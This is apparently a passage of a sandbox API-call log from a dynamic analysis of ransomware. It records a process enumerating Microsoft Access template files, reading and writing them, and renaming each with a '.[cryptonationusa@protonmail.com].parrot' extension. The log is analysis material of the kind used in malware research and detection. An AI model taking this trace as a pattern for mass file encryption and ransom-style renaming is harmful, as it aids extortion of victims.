ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x194ef060, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x1268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ADDRES~1.PAR")) returned 1 [0237.154] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.154] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0237.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.155] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f2af, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f2af, lpOverlapped=0x0) returned 1 [0237.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.245] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.245] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0237.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7490b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7490b, lpOverlapped=0x0) returned 1 [0237.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Faculty.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\faculty.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.303] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.304] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0237.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.310] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80f48, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x80f48, lpOverlapped=0x0) returned 1 [0237.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Issues.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\issues.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.429] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.429] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0237.431] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.431] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0237.473] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.477] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0237.482] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.482] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0237.484] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10e704, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0237.484] CloseHandle (hObject=0x288) returned 1 [0237.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Marketing Projects.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\marketing projects.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.495] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0237.496] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.497] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0237.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.534] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0237.539] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.539] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0237.541] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5b6a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0237.541] CloseHandle (hObject=0x288) returned 1 [0237.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Northwind.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\northwind.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0237.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0237.554] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x150615d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0237.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0237.554] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0237.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.554] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.556] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5fda, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x5fda, lpOverlapped=0x0) returned 1 [0237.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.573] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.573] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6005, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6005, lpOverlapped=0x0) returned 1 [0237.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Top.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 top.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.582] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.584] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6306, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6306, lpOverlapped=0x0) returned 1 [0237.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Right.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 right.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.632] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.633] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.657] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.658] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63ce, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x63ce, lpOverlapped=0x0) returned 1 [0237.659] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\2 Top.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\2 top.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.669] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.669] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.688] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.688] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a87, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a87, lpOverlapped=0x0) returned 1 [0237.690] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.690] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Comments.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\comments.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.698] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.698] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.700] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.700] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c444, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c444, lpOverlapped=0x0) returned 1 [0237.710] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Contacts.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\contacts.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.792] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.792] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.794] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.794] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x510d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x510d, lpOverlapped=0x0) returned 1 [0237.798] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.800] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Details.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\details.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.809] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.809] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.810] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.811] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x53d9, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x53d9, lpOverlapped=0x0) returned 1 [0237.812] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Dialog.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\dialog.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.838] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.838] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.841] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.841] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc660, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc660, lpOverlapped=0x0) returned 1 [0237.850] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Issues.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\issues.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.859] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.859] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.860] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.861] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6072, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6072, lpOverlapped=0x0) returned 1 [0237.862] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\List.accdt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\list.accdt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0237.868] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0237.868] ReadFile (in: hFile=0x280, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0237.870] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.870] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, 